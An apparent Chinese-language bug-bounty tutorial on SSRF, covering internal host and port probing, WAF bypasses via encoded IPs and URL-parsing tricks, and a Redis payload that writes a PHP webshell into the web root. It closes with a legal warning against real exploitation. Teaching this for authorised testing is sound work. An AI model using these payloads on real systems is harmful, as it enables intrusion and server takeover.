上期回顾:我们冒充隔壁老王(越权访问),偷看了他的隐私。本期我们要更进一步——利用外网服务器,攻打厂商的内网。
这就是安全圈的“借刀杀人”——SSRF (Server-Side Request Forgery,服务端请求伪造)。🔪
一、什么是 SSRF?(代购的阴谋)
想象一下:
你是个保镖(防火墙),守在大门口,严禁外人进入别墅内网。
主人(Web服务器)很傻,对谁都信任。
我对主人说:“帮我代购一下
http://192.168.1.1这个地址的东西呗?”主人听话,跑到内网把
192.168.1.1的内容拿了回来给我。
结果:我隔着墙,知道了别墅里有什么(内网探测),甚至能控制家里的设备(攻击Redis/MySQL)。
二、哪里能找到 SSRF?(实战入口)
凡是需要服务器帮你去加载/抓取/下载资源的地方,都是 SSRF 的重灾区。
功能点 | 参数示例 |
|---|---|
图片加载 |
|
文件下载 |
|
网址翻译 |
|
API 回调 |
|
三、初级玩法:探测内网拓扑
目标:证明我能跟内网说话。
1. 探测存活主机
把参数改成内网 IP:
http
GET /api/fetch?url=http://127.0.0.1 GET /api/fetch?url=http://192.168.1.1现象:如果页面加载变慢、超时或返回不同内容,说明服务器成功访问了内网。
SRC 评级:这通常是中危,因为你证明了网络边界被打破。
2. 端口扫描(Banner 识别)
SSRF 可以用来扫端口。
http
GET /api/fetch?url=http://127.0.0.1:6379 (Redis) GET /api/fetch?url=http://127.0.0.1:3306 (MySQL)判断依据:
如果返回
ERR Invalid Protocol,说明 6379 端口开着(Redis 响应了)。如果返回 MySQL 的乱码字符,说明 3306 开着。
四、高级玩法:攻击 Redis(GetShell 直通车)
这是 SSRF 里最值钱的利用方式。很多厂商内网都跑着未授权 Redis。
攻击原理:
利用 SSRF 向 Redis 发送HTTP 请求。
虽然 Redis 看不懂 HTTP,但 SSRF 强行把命令塞进去。
利用 Redis 的
CONFIG SET命令,把Webshell 写入 Web 目录。
Payload 构造(简化版):
http
/?url=http://127.0.0.1:6379/ set x "\n\n<?php @eval($_POST['cmd']);?>\n\n" config set dir /var/www/html config set dbfilename shell.php save结果:服务器根目录出现shell.php,直接 GetShell。💥
五、绕过技巧:WAF 的“视力障碍”
厂商通常会拦截127.0.0.1。我们需要“变脸”。
1. 域名欺骗
短地址:
http://tinyurl.com/xxxx(跳转回 127.0.0.1)私有域名:
http://localhost(有些 WAF 只拦 IP,不拦域名)IPv6:
http://[::1]
2. 进制转换(老鸟必备)
把127.0.0.1转换成整数:
十进制:
2130706433八进制:
0177.0.0.1十六进制:
0x7f.0.0.1
实战效果:
http://2130706433依然指向本地,但 WAF 一脸懵逼。
3. URL 解析差异
利用@符号:
http://target.com@127.0.0.1
浏览器/服务器可能解析为访问
127.0.0.1,而 WAF 以为你在访问target.com。
六、SRC 报告中的“升维打击”
漏洞描述 | 厂商反应 | 评级 |
|---|---|---|
能访问 127.0.0.1 | “哦,知道了。” | 中危 |
能扫描内网端口 | “赶紧修!” | 高危 |
能攻击 Redis/MySQL | “救命啊!奖金加倍!” | 严重 (Critical) |
报告话术:
“由于 SSRF 漏洞,攻击者可以绕过网络隔离,对内网 Redis 服务进行未授权访问,进而写入 Webshell 控制服务器,导致全网沦陷。”
七、互动与思考
💬 互动话题:
大家在挖 SSRF 时,遇到过最奇葩的“内网地址”是什么?是169.254.169.254(云元数据)还是docker.for.mac.localhost?
⚠️ 法律红线警示
严禁利用 SSRF 攻击真实的内网 Redis、MySQL 或 Redis 写入 Shell。证明能连通即可,切勿执行命令。
严禁尝试读取
169.254.169.254(云厂商元数据),这可能导致你获取云服务器最高权限(Instance Role),属于严重违法行为。严禁进行内网端口扫描(尤其是大规模扫描),这会导致目标服务器负载过高,被视为 DoS 攻击。
测试原则:
仅证明
127.0.0.1或localhost可访问。使用
sleep(5)或time指令证明延迟即可。不要尝试写入任何文件。
SSRF 是一把打开内网大门的钥匙,但这扇门后的宝藏,只看不拿,才是白帽子的修养。 🛡️
下一期,我们将进入“XXE与反序列化”—— 当XML和Java开始‘吃’代码”。想知道怎么用一个 XML 文件读取服务器密码吗?敬请期待!🎩